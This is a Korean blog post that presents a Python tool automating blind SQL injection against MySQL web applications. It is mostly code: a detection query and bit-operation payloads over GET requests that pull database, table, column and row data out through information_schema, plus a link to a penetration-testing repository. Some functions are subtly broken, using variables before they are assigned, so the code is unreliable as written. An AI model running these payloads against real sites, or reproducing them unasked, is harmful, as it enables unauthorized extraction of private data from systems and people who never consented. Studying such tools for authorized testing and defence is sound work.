Blind SQL Injection은 공격 시간이 상당히 길다. 직접 타이핑 하며 공격하기에는 너무 오래 걸려 파이썬으로 자동화 도구를 만들었다. 이진 탐색과 비트 연산 중 어떤 것으로 구현하는 게 좋을까 고민했는데 개인적으로는 비트 연산을 좋아하고 구현하기 더 쉽다 생각해 비트 연산으로 구현했다.
처음에는 GET Method로 공격하는 코드만 작성해 사용했다. 하지만 로그인처럼 POST Method를 사용하는 기능에도 공격해야 할 상황이 있어 POST Method 공격 코드도 만들었다.
그런데 사용할 때 마다 URL을 수정하고 GET Method SQL Injection, POST Method SQL Injection 함수를 호출하는 일이 번거로워 사용자가 Method를 선택하고 URL을 직접 입력하면 훨씬 편할 것 같다는 생각이 들어 조금이나마 더 사용자 친화적?으로 구현했다.
코드를 살펴보자.
우선 모듈을 사용해 GET과 POST 공격 함수를 불러온 후, 사용자가 선택한 Method 공격 함수를 호출한다.
"""
This blind SQL Injection attack tools was created by simya.
This tool uses bit operations to perform the attack. 2023-07-03.
"""
import sys
from get_attack_payloads import blind_sql_injection_attack as get
from post_attack_payloads import blind_sql_injection_attack as post
method = input("Does the attack target use the POST or GET method? ")
if method.upper() == "GET":
get()
elif method.upper() == "POST":
post()
else:
print("Quit.")
print( sys.exit(0))
import requests
import sys
# MySQL Blind SQL Injection automation Tools
def blind_sql_injection_attack():
URL = input("Enter the target URL for the attack : ")
query = input("Enter the vulnerabilities detection query (Ex: 'and'1'='1'%23) ")
control_point = input("Enter a string of control points to detect if a blind sql injection attack is true or false : ")
print(f"vulnerabilities detection query : {URL}{query}")
resp = requests.get(f"{URL}{query}")
if control_point in resp.text:
print("Blind SQL injection vulnerability exists. Start the attack.")
database = database_name(URL, control_point)
table_name(URL, database, control_point)
table = column_name(URL, control_point)
query_data(URL, table, control_point)
else:
print("No blind SQL injection vulnerabilities were found.")
입력한 URL과 기준 문자열로 비트 연산을 시도해 데이터 베이스 이름을 추출한다.
def database_name(URL, control_point):
binary_number = [1, 2, 4, 8, 16, 32, 64]
binary_result = 0
database = ""
for x in range(1, 20):
for n in binary_number:
resp = requests.get(f"{URL}'and+ascii(substring(database(),{x},1))%26{n}={n}%23")
if control_point in resp.text:
binary_result += n
else:
continue
if binary_result == 0:
break
else:
database += chr(binary_result)
binary_result = 0
print(f"database name : {database}")
return database
추출할 데이터마다 입력하는 쿼리는 다르지만 동작 원리는 같기 때문에 attack_payload 함수로 분리했다.
def table_name(URL, database, control_point):
query = f"select+table_name+from+information_schema.tables+where+table_schema='{database}'"
table = attack_payload(URL, query, control_point)
print(f"The list of tables in the {database} database.\n{table}")
def column_name(URL, control_point):
query = f"select+column_name+from+information_schema.columns+where+table_name='{table_name}'"
table_name = input("Enter a table name to output a list of columns in that table. : ")
columns = attack_payload(URL, query, control_point)
print(f"The list of columns in the {table_name} table.\n{columns}")
return table_name
def query_data(URL, table_name, control_point):
query = f"select+{column_name}+from+{table_name}"
column_name = input("Enter a column name to output a list of data in that column. : ")
data = attack_payload(URL, query, control_point)
print(f"The result of looking up the data in the {column_name} column.\n{data}")
quit_button = input("Do you want to end the SQLi attack? (Y or N) ")
if quit_button.upper() == "Y":
sys.exit(0)
else:
query_data(URL, table_name, control_point)
추출할 데이터에 필요한 쿼리를 매개변수로 받아 삼중 for문으로 비트 연산을 수행해 데이터를 추출한다.
def attack_payload(URL, query, control_point):
binary_number = [1, 2, 4, 8, 16, 32, 64]
binary_result = 0
result = []
for i in range(0, 10):
data = ""
for j in range(1, 10):
for k in binary_number:
payload = f"{URL}'and+ascii(substring(({query}+limit+{i},1),{j},1))%26{k}={k}%23"
resp = requests.get(payload)
if control_point in resp.text:
binary_result += k # 이진수 총합을 구한다.
else:
continue
if binary_result == 0:
break # 이진수 합이 0이면 다음 데이터를 추출한다.
else:
data += chr(binary_result) # 이진수 합, 10진수를 문자열로 변환해 데이터를 추출한다.
binary_result = 0 # 데이터를 추출했으면 다음 데이터를 추출하기 위해 0으로 초기화한다.
if len(data) == 0:
break # 더 이상 추가할 데이터가 없다면 반복문을 종료한다.
else:
result.append(data) # 한 개의 데이터 추출이 완료되면 리스트에 담고 다음 데이터를 추출한다.
return result
https://github.com/Simyat/Penetration_Testing_Tools/tree/main/sqli